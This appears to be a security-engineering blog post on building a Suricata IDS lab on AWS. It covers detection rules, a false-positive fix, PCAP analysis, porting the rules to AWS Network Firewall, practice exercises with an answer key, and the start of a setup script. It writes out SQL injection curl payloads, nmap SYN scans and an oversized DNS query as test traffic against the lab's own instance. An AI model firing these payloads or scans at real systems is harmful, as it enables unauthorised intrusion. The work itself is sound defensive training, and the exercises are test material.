03/18/2026-21:27:58.844144  [**] [1:9000004:2] Possible C2 Beaconing Detected [**] [Classification: (null)] [Priority: 3] {TCP} 172.31.23.15:44068 -> xx.xxx.xx.xxx:443
03/18/2026-21:29:35.909465  [**] [1:9000004:2] Possible C2 Beaconing Detected [**] [Classification: (null)] [Priority: 3] {TCP} 172.31.23.15:34952 -> xx.xxx.xx.xxx:443

Firing every few minutes to multiple AWS endpoints — 169.254.169.254:80, xx.xxx.xx.xxx:443, xx.xxx.xx.xxx:443, and others on port 443.

This is a false positive. Two things are happening:

169.254.169.254 is the AWS EC2 Instance Metadata Service (IMDS) — every EC2 instance contacts it regularly over HTTP to retrieve metadata and IAM credentials
The other IPs (xx.xxx.xx.xxx, xx.xxx.xx.xxx, etc.) are AWS SSM and CloudWatch endpoints — the SSM Agent and other AWS services make regular HTTPS calls to these on port 443

From Suricata's perspective all of these look identical to C2 beaconing. This is a perfect real-world example of why whitelisting matters in production IDS work.

The fix is two pass rules — one for IMDS (HTTP) and one for all outbound HTTPS to AWS services. Both must be placed at the very top of custom.rules — before all alert rules. Suricata processes rules in order from top to bottom. If Rule 4 matches first it fires before ever reaching the pass rules.

Your final custom.rules file should look exactly like this:

pass http $HOME_NET any -> 169.254.169.254 any (msg:"IMDS traffic - whitelist"; sid:9000010; rev:1;)
pass tcp $HOME_NET any -> any 443 (msg:"AWS HTTPS services whitelist"; sid:9000011; rev:1;)
alert tcp any any -> $HOME_NET any (msg:"SQL Injection UNION SELECT Attempt"; content:"UNION"; nocase; content:"SELECT"; nocase; sid:9000001; rev:4;)
alert tcp any any -> $HOME_NET 80 (msg:"SQL Injection Comment Bypass Attempt"; content:"OR"; nocase; content:"="; nocase; sid:9000002; rev:6;)
alert tcp any any -> $HOME_NET any (msg:"Possible Port Scan Detected"; flags:S; threshold:type threshold,track by_src,count 5,seconds 10; sid:9000003; rev:3;)
alert tcp $HOME_NET any -> any any (msg:"Possible C2 Beaconing Detected"; flow:to_server,established; threshold:type both,track by_src,count 10,seconds 60; sid:9000004; rev:2;)
alert udp any any -> any 53 (msg:"Possible DNS Tunneling - Large Query"; dsize:>200; sid:9000005; rev:2;)

After saving, validate and restart:

sudo suricata -T -c /etc/suricata/suricata.yaml -v
sudo systemctl restart suricata
sudo truncate -s 0 /var/log/suricata/fast.log

Confirming the fix works: After restarting, fast.log should be empty — no more C2 beaconing noise from AWS services. When you run the test curl commands below, only your genuine attack payloads should appear.

Test Rule 1 — SQL Injection UNION SELECT

In Terminal 2, clear the log first then send a curl request with a UNION SELECT payload:

sudo truncate -s 0 /var/log/suricata/fast.log
curl -v -G "http://172.31.23.15/" --data-urlencode "id=1' UNION SELECT username,password FROM users--"
sudo cat /var/log/suricata/fast.log

If fast.log is empty: Check that lo is listed in the af-packet section of suricata.yaml alongside enX0. Traffic from curl on the same instance routes through lo, not enX0. Without lo in the config Suricata never sees the request. After adding it restart Suricata before retesting.

Expected alert:

03/18/2026-20:37:50.935403  [**] [1:9000001:4] SQL Injection UNION SELECT Attempt [**] [Classification: (null)] [Priority: 3] {TCP} 172.31.23.15:32850 -> 172.31.23.15:80

Test Rule 2 — SQL Injection Comment Bypass

sudo truncate -s 0 /var/log/suricata/fast.log
curl -v "http://172.31.23.15/?id=1%27%20OR%201%3D1--"
sudo cat /var/log/suricata/fast.log

Expected alert:

03/18/2026-21:24:54.092935  [**] [1:9000002:6] SQL Injection Comment Bypass Attempt [**] [Classification: (null)] [Priority: 3] {TCP} 172.31.23.15:36692 -> 172.31.23.15:80

Test Rule 3 — Port Scan

Use nmap to send a burst of SYN packets. Three important requirements:

Use sudo — a SYN scan (-sS) requires raw socket privileges
Scan the instance's real IP (172.31.23.15) not 127.0.0.1 — the destination must fall within $HOME_NET for the rule to match
Use --max-rate 10 to limit nmap to 10 packets per second — if nmap fires too fast Suricata cannot track the threshold on a single-core t2.micro and no alert fires

sudo apt-get install nmap -y
sudo truncate -s 0 /var/log/suricata/fast.log
sudo nmap -sS --max-rate 10 172.31.23.15
sudo cat /var/log/suricata/fast.log

Expected output — one alert per port probed, showing the scan working through many different destination ports from the same source IP:

03/18/2026-22:07:29.315182  [**] [1:9000003:3] Possible Port Scan Detected [**] [Classification: (null)] [Priority: 3] {TCP} 172.31.23.15:36871 -> 172.31.23.15:1720
03/18/2026-22:07:29.815169  [**] [1:9000003:3] Possible Port Scan Detected [**] [Classification: (null)] [Priority: 3] {TCP} 172.31.23.15:36871 -> 172.31.23.15:139
03/18/2026-22:07:30.315156  [**] [1:9000003:3] Possible Port Scan Detected [**] [Classification: (null)] [Priority: 3] {TCP} 172.31.23.15:36871 -> 172.31.23.15:587
...

Notice the same source port (36871) hitting many different destination ports — that is the signature of a port scan. The threshold of 5 SYN packets in 10 seconds fires once the scan hits 5 ports, then continues firing as the scan progresses.

Test Rule 5 — DNS Tunneling

Use dig to send a large DNS query. Each DNS label (the part between dots) has a maximum length of 63 characters — split the payload across multiple labels to stay within the limit while exceeding 200 bytes total:

sudo apt-get install dnsutils -y
sudo truncate -s 0 /var/log/suricata/fast.log
dig $(python3 -c "print('A'*60 + '.' + 'B'*60 + '.' + 'C'*60)").google.com @8.8.8.8
sudo cat /var/log/suricata/fast.log

This creates a domain with three 60-character labels — AAAA...60.BBBB...60.CCCC...60.google.com — well over 200 bytes total while staying within the 63-character per-label DNS limit.

Why not one long string? DNS labels are limited to 63 characters each. 'A'*180 + '.google.com' produces label too long error. Splitting across three labels of 60 characters each produces the same large payload while being a valid DNS name.

Expected alert:

03/18/2026-22:28:42.595604  [**] [1:9000005:2] Possible DNS Tunneling - Large Query [**] [Classification: (null)] [Priority: 3] {UDP} 172.31.23.15:60507 -> 8.8.8.8:53

Notice the protocol is {UDP} and the destination is 8.8.8.8:53 — confirming Suricata caught the large DNS query going out to Google's public resolver.

Part 7: PCAP Analysis

As SAED — a Security Engineer at Google — notes: whether it is Wireshark or tcpdump, the core function is analysing network traffic for threats. This section uses tcpdump directly on the instance to capture and examine the same attack traffic that triggered the Suricata rules in Part 6.

Capture Traffic to a PCAP File

Run tcpdump while generating attack traffic in a second terminal. The -w flag writes raw packets to a file for later analysis:

sudo tcpdump -i lo -w /tmp/lab_capture.pcap &

The & runs it in the background. Now generate all the test traffic:

curl -v -G "http://172.31.23.15/" --data-urlencode "id=1' UNION SELECT username,password FROM users--"
curl -v "http://172.31.23.15/?id=1%27%20OR%201%3D1--"
sudo nmap -sS --max-rate 10 172.31.23.15 -p 1-100
dig $(python3 -c "print('A'*60 + '.' + 'B'*60 + '.' + 'C'*60)").google.com @8.8.8.8

Stop the capture:

sudo pkill tcpdump

Analyse the PCAP with tcpdump Filters

View all captured packets (summary):

sudo tcpdump -r /tmp/lab_capture.pcap

Filter 1 — SQL Injection traffic (HTTP on port 80):

sudo tcpdump -r /tmp/lab_capture.pcap -A 'tcp port 80' | grep -i "UNION\|SELECT\|OR"

The -A flag prints packet contents in ASCII. Real output from this lab:

01:25:37.636597 IP ip-172-31-26-99.56868 > ip-172-31-26-99.http: Flags [P.], length 130: HTTP: GET /?id=1%27+UNION+SELECT+username%2cpassword+FROM+users-- HTTP/1.1
GET /?id=1%27+UNION+SELECT+username%2cpassword+FROM+users-- HTTP/1.1

01:28:04.908873 IP ip-172-31-26-99.48712 > ip-172-31-26-99.http: Flags [P.], length 99: HTTP: GET /?id=1%27%20OR%201%3D1-- HTTP/1.1
GET /?id=1%27%20OR%201%3D1-- HTTP/1.1

Flags [P.] is the PSH+ACK flag — this is a data-carrying packet containing the HTTP request payload, not a handshake packet. The full SQL injection strings are readable in plaintext directly from the packet bytes — exactly what Suricata's content matching inspects.

Filter 2 — Port Scan (SYN packets only):

sudo tcpdump -r /tmp/lab_capture.pcap 'tcp[tcpflags] == tcp-syn'

tcp[tcpflags] == tcp-syn is a Berkeley Packet Filter (BPF) expression matching only SYN-flagged packets — the same condition as flags:S in the Suricata rule. Real output:

01:28:36.551927 IP ip-172-31-26-99.58404 > ip-172-31-26-99.smtp:   Flags [S]
01:28:36.641851 IP ip-172-31-26-99.58404 > ip-172-31-26-99.http:   Flags [S]
01:28:36.741904 IP ip-172-31-26-99.58404 > ip-172-31-26-99.ssh:    Flags [S]
01:28:36.841903 IP ip-172-31-26-99.58404 > ip-172-31-26-99.domain: Flags [S]
01:28:36.941878 IP ip-172-31-26-99.58404 > ip-172-31-26-99.telnet: Flags [S]
01:28:37.041880 IP ip-172-31-26-99.58404 > ip-172-31-26-99.ftp:    Flags [S]

The port scan fingerprint is unmistakable — same source port 58404 hitting smtp, http, ssh, domain, telnet, ftp in sequence, one every 100ms. Also note the PTR reverse DNS lookup immediately before the scan starts — nmap resolving the target IP to a hostname, another reconnaissance indicator.

Filter 3 — DNS queries:

sudo tcpdump -r /tmp/lab_capture.pcap -v 'udp port 53'

Real output:

01:26:38.113545 localhost.60801 > _localdnsstub.domain: A? ssm.us-east-1.amazonaws.com. (56)
01:26:38.115187 _localdnsstub.domain > localhost.60801: ssm.us-east-1.amazonaws.com. A xx.xxx.xx.xxx (72)

01:28:36.539101 localhost.39780 > _localdnsstub.domain: PTR? 99.26.31.172.in-addr.arpa. (43)
01:28:36.541638 _localdnsstub.domain > localhost.39780: PTR ip-172-31-26-99.ec2.internal. (85)

Two DNS patterns visible: the SSM Agent resolving ssm.us-east-1.amazonaws.com (legitimate — the C2 false positive source), and nmap doing a PTR reverse lookup before scanning. Note the packet sizes — 56-85 bytes, all under the 200-byte threshold in Rule 5.

What the PCAP Tells You

Comparing the PCAP analysis against the Suricata alerts reveals three key insights:

1 — Suricata sees the decoded HTTP payload. The SQL injection strings appear in plaintext in the PCAP because HTTP is unencrypted. GET /?id=1%27+UNION+SELECT... is readable directly from the packet bytes. This confirms why Rules 1 and 2 work — and why they would both fail against HTTPS where the payload is encrypted.

2 — Port scans have a clear fingerprint. Source port 58404 hitting smtp → http → ssh → domain → telnet → ftp in order, every 100ms. The nmap PTR reverse lookup appearing just before the scan also confirms reconnaissance intent. This pattern looks nothing like normal traffic.

3 — DNS packet sizes reveal tunneling. The legitimate DNS queries in the capture — SSM Agent lookups for ssm.us-east-1.amazonaws.com — are all 56-84 bytes. A real DNS tunneling query with a 180-byte subdomain would stand out immediately. The dsize:>200 threshold in Rule 5 exploits this size difference.

4 — The false positive source is confirmed. The PCAP shows the SSM Agent resolving ssm.us-east-1.amazonaws.com every few minutes and connecting to xx.xxx.xx.xxx:443. This is the traffic that was triggering Rule 4 — now whitelisted by the pass tcp $HOME_NET any -> any 443 rule.

Summary — Three Attack Patterns in One PCAP

Timestamp	Traffic Type	PCAP Indicator
01:25:37	SQL Injection UNION SELECT	`GET /?id=1%27+UNION+SELECT...` in HTTP payload
01:28:04	SQL Injection OR bypass	`GET /?id=1%27%20OR%201%3D1--` in HTTP payload
01:28:36	Port scan	Source port 58404, SYN to smtp/http/ssh/telnet/ftp in sequence
01:26:38+	AWS SSM beaconing (legitimate)	DNS A? ssm.us-east-1.amazonaws.com + HTTPS to AWS IPs

tcpdump and Suricata are complementary tools — Suricata tells you something is wrong, tcpdump shows you exactly what it was at the packet level.

Downloading the PCAP for Wireshark Analysis (Optional)

If you want to open the PCAP in Wireshark on your local machine, copy it to S3 first:

# On the instance — replace with your own bucket name
aws s3 cp /tmp/lab_capture.pcap s3://your-bucket-name/lab_capture.pcap

# On your local machine
aws s3 cp s3://your-bucket-name/lab_capture.pcap ~/Downloads/lab_capture.pcap --profile lab-sso

Open lab_capture.pcap in Wireshark and apply the same filters:

HTTP traffic: tcp.port == 80
SYN scans: tcp.flags.syn == 1 && tcp.flags.ack == 0
Large DNS queries: dns && frame.len > 200

Part 8: AWS Network Firewall Connection

A key insight worth highlighting: Suricata rule syntax IS the AWS Network Firewall rule language.

As of November 2020, AWS Network Firewall uses Suricata-compatible IPS rules natively. Every rule written in this lab is directly portable to AWS Network Firewall with no modifications required.

Source: AWS Open Source Blog — Scaling Threat Prevention on AWS with Suricata

This means learning Suricata rule syntax in a personal lab is not just an academic exercise — it is the exact same skill used to configure production-grade network threat prevention in AWS.

What is AWS Network Firewall?

AWS Network Firewall is a managed network security service that sits at the VPC perimeter and inspects traffic flowing in and out of your AWS infrastructure. Unlike a security group (which operates at the instance level with simple allow/deny rules) or a WAF (which operates at the HTTP application layer), Network Firewall operates at the network layer and can inspect full packet payloads — including the kind of deep packet inspection Suricata performs.

Tool	Layer	What it inspects
Security Group	Network (L3/L4)	IP, port, protocol — no payload
AWS WAF	Application (L7)	HTTP headers, URI, body
AWS Network Firewall	Network + Application (L3-L7)	Full packet payload using Suricata rules

Porting Your Rules to AWS Network Firewall

The 5 rules from this lab are directly usable in AWS Network Firewall. Here is how you would deploy them:

Step 1 — Create a rule group in the AWS Console:

AWS Console → VPC → Network Firewall → Rule groups
→ Create rule group
→ Rule group type: Stateful
→ Rule order: Default action order
→ Capacity: 100
→ Rules format: Suricata compatible rule string

Step 2 — Paste your rules directly:

pass http $HOME_NET any -> 169.254.169.254 any (msg:"IMDS traffic - whitelist"; sid:9000010; rev:1;)
pass tcp $HOME_NET any -> any 443 (msg:"AWS HTTPS services whitelist"; sid:9000011; rev:1;)
alert tcp any any -> $HOME_NET any (msg:"SQL Injection UNION SELECT Attempt"; content:"UNION"; nocase; content:"SELECT"; nocase; sid:9000001; rev:4;)
alert tcp any any -> $HOME_NET 80 (msg:"SQL Injection Comment Bypass Attempt"; content:"OR"; nocase; content:"="; nocase; sid:9000002; rev:6;)
alert tcp any any -> $HOME_NET any (msg:"Possible Port Scan Detected"; flags:S; threshold:type threshold,track by_src,count 5,seconds 10; sid:9000003; rev:3;)
alert tcp $HOME_NET any -> any any (msg:"Possible C2 Beaconing Detected"; flow:to_server,established; threshold:type both,track by_src,count 10,seconds 60; sid:9000004; rev:2;)
alert udp any any -> any 53 (msg:"Possible DNS Tunneling - Large Query"; dsize:>200; sid:9000005; rev:2;)

Step 4 — Configure advanced settings (optional)

Leave "Customize encryption settings (advanced)" unchecked. AWS encrypts your rule group data at rest using an AWS managed key by default — sufficient for a personal lab. Customer managed KMS keys are for production environments with compliance requirements (PCI-DSS, HIPAA) where you need audit trails of key usage.

Click Next.

Step 5 — Add tags (optional)

Skip for a personal lab. Click Next.

Step 6 — Review and create

Verify:

Rule group type: Stateful, Suricata compatible rule string
Name: suricata-lab-rules
Capacity: 100
Rule variables: HOME_NET IP set showing 172.31.16.0/20
All 7 rules visible in the Suricata compatible rule string section
Customer managed key: AWS owned key

Click Create rule group.

Important: Creating the Rule Group Is Not Enough

Creating suricata-lab-rules saves your ruleset in AWS but does not automatically enforce it on your VPC or any EC2 instances you launch. Three additional steps are required before traffic is actually inspected:

1 — Create a Firewall Policy — a container that references one or more rule groups including suricata-lab-rules.

2 — Create a Network Firewall — the actual firewall resource deployed into a subnet inside your VPC, with the firewall policy attached to it.

3 — Update VPC Route Tables — the most critical step. You must redirect traffic through the firewall by updating your route tables. Without this, traffic bypasses the firewall entirely even if it is deployed and running.

Why this lab stops at rule group creation: AWS Network Firewall is designed for production VPC architectures with proper subnet segmentation, internet gateways, and routing. Fully deploying it in a single-subnet personal lab is architecturally complex and costs approximately $0.395/hour for the firewall endpoint alone — which adds up quickly on a free tier account.

The value of this exercise is demonstrating that your Suricata rules are valid AWS Network Firewall rules — directly portable from your personal lab to production AWS infrastructure. The full VPC security architecture required to deploy Network Firewall end-to-end is a Week 49-50 topic (Cloud Security Mastery phase).

IDS vs IPS Mode

In this lab Suricata ran in IDS mode — it inspected traffic and generated alerts but did not block anything. AWS Network Firewall runs in IPS mode by default — it can actively drop packets that match your rules.

Mode	Action on match	Use case
IDS (alert)	Log and alert only	Learning, tuning, baseline establishment
IPS (drop)	Block the traffic	Production enforcement

The typical progression is: run in IDS mode first to tune your rules and eliminate false positives, then switch to IPS mode once you are confident the rules are accurate. Deploying IPS rules with false positives in production will block legitimate traffic.

Why This Matters for Security Engineering

Understanding that Suricata rules are portable to AWS Network Firewall positions you to:

Write detection rules in a free personal lab and deploy them directly to production AWS infrastructure
Contribute to an organization's AWS Network Firewall ruleset using the same skills tested in this lab
Discuss network-layer threat detection intelligently in Security Engineering interviews — the gap between "I ran Suricata in a lab" and "I understand how this maps to production cloud infrastructure" is exactly what separates strong candidates

Common Issues and Fixes

Disabling a Rule Without Deleting It

Comment out the rule with # at the start of the line:

sudo nano /etc/suricata/rules/custom.rules

alert tcp any any -> $HOME_NET 80 (msg:"SQL Injection UNION SELECT Attempt"; ...)
# alert http $HOME_NET any -> any any (msg:"Possible C2 Beaconing Detected"; ...)
alert udp any any -> any 53 (msg:"Possible DNS Tunneling - Large Query"; ...)

The # tells Suricata to ignore that line entirely — the rule is preserved for future use but not loaded into the detection engine.

Reloading Rules Without Restarting Suricata

For a personal lab, the simplest approach is always:

sudo systemctl restart suricata

In production environments where you cannot afford dropped packets or downtime during a rule update, two zero-downtime options exist:

# Option 1 — send USR2 signal to the running process
sudo kill -USR2 $(cat /var/run/suricata.pid)

# Option 2 — use the Suricata socket command
sudo suricatasc -c ruleset-reload-nonblocking

Both hot-swap rules into the running detection engine without interrupting traffic inspection — relevant when Suricata is running on a live network at a cloud provider or enterprise SOC where restarting would cause a monitoring gap.

Verify the reload worked by checking the rule count:

sudo grep "signatures processed" /var/log/suricata/suricata.log | tail -3

Suricata Config Test Requires Root

Running suricata -T as a normal user returns a permission denied error. Always run config tests as root:

sudo suricata -T -c /etc/suricata/suricata.yaml -v

Rules Not Firing on Self-Generated Traffic

Symptom: curl requests to the instance's own IP return 200 OK but fast.log stays empty.

Cause: Linux kernel local routing — when a process connects to the machine's own IP address, traffic routes through the loopback interface lo rather than enX0. Suricata only monitoring enX0 never sees it.

Fix: Add lo to the af-packet section in suricata.yaml:

af-packet:
  - interface: enX0
  - interface: lo

Restart Suricata after making this change.

49,000+ Rules Loaded Instead of Your Custom Rules

Symptom: suricata.log shows tens of thousands of signatures loaded instead of your custom rule count.

Cause: The rule-files: section in suricata.yaml still references suricata.rules (the Emerging Threats ruleset) alongside your custom rules file.

Fix: Edit suricata.yaml to only reference your custom rules:

rule-files:
  - /etc/suricata/rules/custom.rules

Always verify with:

sudo grep "signatures processed" /var/log/suricata/suricata.log | tail -1

eve.json Shows Large Rule Counts from Previous Sessions

Symptom: grep "rules_loaded" /var/log/suricata/eve.json shows 49,000+ rules even after fixing suricata.yaml.

Cause: eve.json contains periodic stats entries from all previous Suricata sessions — including old runs with the full ET ruleset. It does not reflect the current session accurately.

Fix: Always use suricata.log not eve.json to confirm the current session's rule count. If needed, parse eve.json line by line:

sudo tail -20 /var/log/suricata/eve.json | while read line; do echo $line | python3 -m json.tool 2>/dev/null; done

HTTP Rules Not Matching URL-Encoded Payloads

Symptom: Rules using protocol http with content:"UNION" do not fire on curl requests containing UNION%20SELECT.

Cause: Suricata's http protocol keyword applies content matching to normalized HTTP buffers. Without specifying the correct buffer (http_uri, http_client_body, etc.) the match may not hit the right place.

Fix: Switch to tcp protocol with port 80 which matches raw TCP stream bytes directly:

alert tcp any any -> $HOME_NET 80 (msg:"SQL Injection UNION SELECT Attempt"; content:"UNION"; nocase; content:"SELECT"; nocase; sid:9000001; rev:4;)

Port Scan Rule Not Firing

Symptom: nmap scan completes but no alert appears in fast.log.

Two common causes:

Scanning 127.0.0.1 instead of the real IP — the destination must fall within $HOME_NET. Use the instance's real IP (e.g. 172.31.23.15).
nmap firing too fast for a single-core t2.micro — use --max-rate 10 to limit nmap to 10 packets per second, and lower the threshold to count 5:

sudo nmap -sS --max-rate 10 172.31.23.15

C2 Beaconing False Positives from AWS Services

Symptom: Rule 4 fires immediately after Suricata starts, alerting on traffic to 169.254.169.254 and various port 443 endpoints.

Cause: The SSM Agent, CloudWatch, and other AWS services make regular outbound HTTPS calls that match the beaconing threshold. These are legitimate AWS service endpoints.

Fix: Add two pass rules at the top of custom.rules — before all alert rules:

pass http $HOME_NET any -> 169.254.169.254 any (msg:"IMDS traffic - whitelist"; sid:9000010; rev:1;)
pass tcp $HOME_NET any -> any 443 (msg:"AWS HTTPS services whitelist"; sid:9000011; rev:1;)

Pass rules must come first — Suricata processes rules top to bottom and stops at the first match.

DNS Label Too Long Error

Symptom: dig: 'AAAA...180chars.google.com' is not a legal name (label too long)

Cause: DNS labels (the parts between dots) have a maximum length of 63 characters. A single string of 180 A's exceeds this.

Fix: Split across multiple 60-character labels:

dig $(python3 -c "print('A'*60 + '.' + 'B'*60 + '.' + 'C'*60)").google.com @8.8.8.8

Practice Exercises

These five exercises test the core Suricata skills a Security Engineer specializing in web application and cloud security is expected to have. No installation required — read, analyze, and answer.

Exercise 1 — Read and Interpret

Given this rule you have never seen before, explain in plain English what it does, what attack it is designed to detect, and what each keyword means:

alert http any any -> $HOME_NET any (msg:"Possible XSS Attempt"; flow:to_server,established; content:"<script>"; nocase; http_uri; sid:9000010; rev:1;)

Answer these questions:

What protocol does this rule inspect?
What direction is traffic flowing?
What string is it looking for and where specifically (http_uri is a new keyword — what do you think it does)?
What attack is this trying to detect?
Name one way an attacker could evade this rule.

Exercise 2 — Modify: Tune a Threshold

The port scan rule from this post is generating too many false positives on a busy web server that receives high volumes of legitimate connection attempts from load balancers.

Original rule:

alert tcp any any -> $HOME_NET any (msg:"Possible Port Scan Detected"; flags:S; threshold:type threshold,track by_src,count 5,seconds 10; sid:9000003; rev:3;)

Task: Modify the rule to reduce false positives by:

Raising the threshold so it only alerts when a single source IP sends more than 50 SYN packets within 10 seconds
Narrowing the destination to only flag scans targeting ports below 1024 (well-known ports) — hint: use port ranges in the destination field
Increment the rev number to reflect the modification

Write the modified rule.

Exercise 3 — Enable, Disable, and Organize

You have the following three rules in /etc/suricata/rules/custom.rules. The C2 beaconing rule (sid:9000004) is generating hundreds of false positives because your monitoring tool makes frequent outbound HTTP calls.

alert tcp any any -> $HOME_NET 80 (msg:"SQL Injection UNION SELECT Attempt"; content:"UNION"; nocase; content:"SELECT"; nocase; sid:9000001; rev:4;)
alert http $HOME_NET any -> any any (msg:"Possible C2 Beaconing Detected"; flow:to_server,established; threshold:type both,track by_src,count 10,seconds 60; sid:9000004; rev:1;)
alert udp any any -> any 53 (msg:"Possible DNS Tunneling - Large Query"; dsize:>200; sid:9000005; rev:1;)

Task:

Disable the C2 beaconing rule without deleting it — how do you do this in Suricata?
Reload the rules without restarting Suricata entirely — what command do you use?
Verify the rule is disabled — where do you look to confirm it is no longer generating alerts?

Exercise 4 — Keyword Identification

For each behavior described below, identify which Suricata keyword is responsible for it in the rules from this post:

Behavior	Keyword
Only fires after 5 matching packets from the same source in 10 seconds	?
Makes string matching case-insensitive	?
Restricts the rule to outbound traffic from your subnet	?
Ensures a second content match starts immediately after the first with zero bytes between them	?
Matches UDP packets larger than 200 bytes	?
Only applies to established TCP connections flowing toward the server	?
Allows matching traffic to pass without triggering any alert rules below it	?

Note on the fourth row: The keyword distance:0 enforces that a second content match must appear immediately after the first — zero bytes between them. For example content:"UNION"; content:"SELECT"; distance:0; would only match UNIONSELECT not UNION SELECT (with a space). This keyword was part of the original Rule 1 design in this lab but was removed after it prevented the rule from firing on URL-encoded payloads where a + or %20 separates the words. In production rules you would handle this with pcre instead.

Exercise 5 — Community Rulesets

⚠️ Before starting this exercise: If you re-enabled the C2 beaconing rule (sid:9000004) at any point, comment it out again now. The ET ruleset loaded in this exercise generates significant alert volume and the C2 rule will produce dozens of false positives from AWS services that will make it difficult to observe what the ET ruleset is doing. Keep it commented out until you have fully whitelisted all legitimate AWS traffic.

Emerging Threats (ET) is one of the most widely used open source Suricata/Snort ruleset providers. Their rules cover thousands of known attack patterns, malware families, and CVEs.

Task — run these steps in order:

Run suricata-update list-sources on your instance — how many rule sources are available by default?
Enable the Emerging Threats Open ruleset: sudo suricata-update enable-source et/open
Update and reload — both commands must complete before checking the rule count:

sudo suricata-update
sudo systemctl restart suricata

Count how many rules are now loaded by checking the Suricata log — run this after Step 3:

sudo grep "signatures processed" /var/log/suricata/suricata.log | tail -1

You should see tens of thousands of signatures, not 6. If you still see 6, Step 3 did not complete successfully — check suricata-update output for errors.

Find the ET rules related to SQL injection:

grep -i "sql injection" /var/lib/suricata/rules/suricata.rules | wc -l

How many rules does ET have for SQL injection compared to the 2 you wrote?

Reflect: what is the tradeoff between using a large community ruleset versus writing your own targeted rules?

These exercises are part of an open source repository of LeetCode-style secure coding exercises designed to:

Train developers to write secure code
Prepare security engineers for technical interviews

Every exercise in the repo has 60+ test cases and a companion Dev.to post.

If this post was useful, the best thing you can do is star the repo:

👉 github.com/fosres/SecEng-Exercises

One More Thing — Quick Poll

Why do you read security engineering blog posts? Your answer helps me write better content:

👉 Take the poll

Takes 10 seconds.

Answer Key

Exercise 1

HTTP protocol.
Traffic flows from the public internet to the home network.
The Suricata rule is looking for the existence of an XSS payload within the submitted URL. That is what http_uri represents: the submitted URL. Judging by the filtering for the <script> tag the rule is looking for XSS attacks targeting HTML bodies or HTML attributes.
See previous answer.
The attacker can apply percent encoding to evade this rule.

Exercise 2

alert tcp any any -> $HOME_NET 1:1024 (msg:"Possible Port Scan Detected"; flags:S; threshold:type threshold,track by_src,count 50,seconds 10; sid:9000003; rev:4;)

Exercise 3

Disabled rule:

alert tcp any any -> $HOME_NET 80 (msg:"SQL Injection UNION SELECT Attempt"; content:"UNION"; nocase; content:"SELECT"; nocase; sid:9000001; rev:4;)
# alert http $HOME_NET any -> any any (msg:"Possible C2 Beaconing Detected"; flow:to_server,established; threshold:type both,track by_src,count 10,seconds 60; sid:9000004; rev:1;)
alert udp any any -> any 53 (msg:"Possible DNS Tunneling - Large Query"; dsize:>200; sid:9000005; rev:1;)

I used systemctl restart suricata because there is no point in doing this in a way that is more complicated. To verify the false positives no longer appear:

sudo systemctl restart suricata
sudo truncate -s 0 /var/log/suricata/fast.log
sudo cat /var/log/suricata/fast.log

Since there was no output of "Possible C2 Beaconing Detected" the above tactic worked.

Exercise 4

Behavior	Answer
Only fires after 5 matching packets from the same source in 10 seconds	`count 5,seconds 10`
Makes string matching case-insensitive	`nocase`
Restricts the rule to outbound traffic from your subnet	`pass tcp $HOME_NET any -> any any`
Ensures a second content match starts immediately after the first with zero bytes between them	`distance:0`
Matches UDP packets larger than 200 bytes	`alert udp any any -> any 53 (...dsize:>200)`
Only applies to established TCP connections flowing toward the server	`flow:to_server,established`
Allows matching traffic to pass without triggering any alert rules below it	Place a rule using the `pass` keyword at the top of the rules file

Exercise 5

Part 1 — 22 sources available:

root@ip-172-31-24-247:~# suricata-update list-sources | grep -i "Name"
Name: et/open
Name: et/pro
Name: oisf/trafficid
Name: scwx/enhanced
Name: scwx/malware
Name: scwx/security
Name: abuse.ch/sslbl-blacklist
Name: abuse.ch/sslbl-ja3
Name: abuse.ch/feodotracker
Name: abuse.ch/urlhaus
Name: etnetera/aggressive
Name: tgreen/hunting
Name: stamus/lateral
Name: stamus/nrd-30-open
Name: stamus/nrd-14-open
Name: stamus/nrd-entropy-30-open
Name: stamus/nrd-entropy-14-open
Name: stamus/nrd-phishing-30-open
Name: stamus/nrd-phishing-14-open
Name: pawpatrules
Name: ptrules/open
Name: aleksibovellan/nmap

Part 4 — Rule count after enabling ET:

root@ip-172-31-24-247:~# sudo grep "signatures processed" /var/log/suricata/suricata.log | tail -1
[875 - Suricata-Main] 2026-03-21 18:31:15 Info: detect: 6 signatures processed.

Part 5 — ET SQL injection rules:

root@ip-172-31-24-247:~# grep -i "sql injection" /var/lib/suricata/rules/suricata.rules | wc -l
4361

ET has 4,361 SQL injection rules compared to the 2 written in this post.

Reflection:

The first consequence of using a community ruleset is that it becomes difficult, if not impossible, for each individual to audit and verify the correctness of all rules. The ET ruleset alone has 4,361 SQL injection rules — which cannot be audited by one person in a day. The benefit is that one can rely on others for coverage, but if the ruleset is too large the user must question whether that person can be trusted to devise a secure, responsible ruleset. This is a reminder of Thompson's Reflections on Trusting Trust — at some point you are trusting the compiler, the ruleset author, or the package maintainer.

The alternative is to build your own rules from scratch — but achieving comprehensive coverage takes far more time than using a community ruleset.

Replace Snapshots with a Simple BASH Script

I am aware I said one can store a snapshot and restore the snapshot later to save progress for this lab. This is a good idea while doing the lab the first time. If one wants to revisit the state of the EC2 environment after they complete the lab a cheaper and more efficient option is to simply launch a fresh, vanilla EC2 instance and run the following BASH script. It will install suricata for you in the EC2 instance and store and save the correct suricata rules--allowing you to test if the suricata rules are effective. You won't need to any longer store snapshots once you can run and test the following BASH script:

#!/usr/bin/env bash
# ============================================================
# Suricata IDS Lab — Bootstrap Script
# Run this inside a fresh lab-create instance to recreate
# the full Suricata lab setup from Week 9.
#
# Usage:
#   lab-connect (connect to fresh instance via SSM)
#   sudo bash bootstrap_suricata.sh
#
# What this does:
#   1. Installs Suricata 7.x from the official OISF PPA
#   2. Installs nginx as the HTTP target for SQLi tests
#   3. Installs nmap and dnsutils for testing rules
#   4. Configures suricata.yaml (HOME_NET, af-packet, rule-files)
#   5. Writes custom.rules with all 7 detection rules
#   6. Validates config and starts Suricata
#   7. Prints verification output
#
# Prerequisites:
#   - Debian 13 EC2 instance (lab-create)
#   - Outbound internet access (security group allows egress)
#   - Run as root (sudo)
# ============================================================

set -euo pipefail

# ── Colours ──────────────────────────────────────────────────
RED='\033[0;31m'
GREEN='\033[0;32m'
YELLOW='\033[1;33m'
NC='\033[0m'

log()  { echo -e "${GREEN}[+]${NC} $1"; }
warn() { echo -e "${YELLOW}[!]${NC} $1"; }
die()  { echo -e "${RED}[✗]${NC} $1" >&2; exit 1; }

# ── Must run as root ─────────────────────────────────────────
[[ $EUID -eq 0 ]] || die "Run as root: sudo bash $0"

# ── Detect network interface and subnet ──────────────────────
log "Detecting network interface..."
IFACE=$(ip route | awk '/default/ {print $5}' | head -1)
